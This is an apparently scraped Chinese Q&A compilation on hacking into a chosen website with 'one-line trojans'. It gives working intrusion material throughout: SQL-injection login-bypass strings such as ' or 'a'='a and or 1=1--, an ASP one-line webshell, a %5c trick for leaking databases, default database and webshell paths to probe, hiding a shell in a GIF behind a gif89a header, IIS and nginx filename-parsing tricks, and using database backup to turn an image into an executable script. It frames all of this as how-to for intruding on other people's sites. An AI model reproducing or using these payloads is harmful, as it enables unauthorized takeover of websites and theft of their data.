本文目录一览：
- 1、如何入侵指定网站！
- 2、一句话木马的使用方法
- 3、如何利用图片一句话木马？
- 4、一句话木马入侵怎么用？
- 5、如何利用图片和一句话木马合成的jpg（或gif）文件入侵网站？
- 6、一句话木马 怎么使用？有客户端的可以给我
如何入侵指定网站！
首先，观察指定网站。
入侵指定网站是需要条件的：
要先观察这个网站是动态还是静态的。
如果是静态的（.htm或html）,一般是不会成功的。
如果要入侵的目标网站是动态的，就可以利用动态网站的漏洞进行入侵。
Quote:以下是入侵网站常用方法：
1.上传漏洞如果看到:选择你要上传的文件 [重新上传]或者出现“请登陆后使用”，80%就有漏洞了！
有时上传不一定会成功,这是因为Cookies不一样.我们就要用WSockExpert取得Cookies.再用DOMAIN上传.
2.注入漏洞字符过滤不严造成的
3.暴库:把二级目录中间的/换成%5c
4.’or’=’or’这是一个可以连接SQL的语名句.可以直接进入后台。我收集了一下。类似的还有：
’or’’=’ " or "a"="a ’) or (’a’=’a ") or ("a"="a or 1=1-- ’ or ’a’=’a
5.社会工程学。这个我们都知道吧。就是猜解。
6.写入ASP格式数据库。就是一句话木马〈%execute request("value")%〉 （数据库必需得是ASP或ASA的后缀）
比如：默认数据库，默认后台地址，默认管理员帐号密码等
8.默认数据库/webshell路径利用:这样的网站很多/利人别人的WEBSHELL.
/Databackup/dvbbs7.MDB
/bbs/Databackup/dvbbs7.MDB
/bbs/Data/dvbbs7.MDB
/data/dvbbs7.mdb
/bbs/diy.asp/diy.asp/bbs/cmd.asp
/bbs/cmd.exe
/bbs/s-u.exe
工具：网站猎手 挖掘鸡 明小子
一句话木马的使用方法
首先,找到数据库是asp格式的网站,然后,以留言板,或者发表文章的方式,把一句话添加到asp数据库，或者加进asp网页.
记住!我们的目的是把一句话%execute request(value)%添加到数据库,无论任何方式!
然后打开客户端(就是你电脑上面的那个htm文件),填上加入了一句话的asp文件,或者是asp网页,然后进入此网站服务器。
如何利用图片一句话木马？
加个gif89a头部~~~或者十六进制编辑器打开正常图片和shell~~把shell直接粘到图片后面~~ 用的时候视情况而定~~~比如说IIS6的x.;.jpg~~IIS7/7.5的畸形漏洞（x.jpg/shell.php）nginx0.8的畸形漏洞~~（同IIS7）~~~ 再就是有时候在数据库备份的时候可以利用的上~~~ x.jpg备份成x.php等等~~~ 比如说前段时候camera360就是被IIS7畸形漏洞拿下的~~~ 到网安中心网站查看回答详情
一句话木马入侵怎么用？
一句话木马分为客户端和服务端，服务端就是你要传到网站上的，只有一句话代码的那个脚本，传上去后记住地址，然后本地打开客户端，填上你的一句话木马地址和密码，连接就可以了，推荐用中国菜刀，官网地址
如何利用图片和一句话木马合成的jpg（或gif）文件入侵网站？
利用数据库的备份功能把JPG格式的文件备份成ASP或PHP等格式的文件让后通过备份路径直接访问你的木马就可以了。这就是后台拿webshell。这是一种常见的方法，还有很都其它的方法要根据网站的实际情况来决定入侵的思路。看看下面的教程吧： ;num=10
一句话木马 怎么使用？有客户端的可以给我
明显做不到, 一句话 只是木马入侵的一个工具 找个地方把一句话写入网站的数据库,然后客户端连接.就可以获得这个网站的权限了.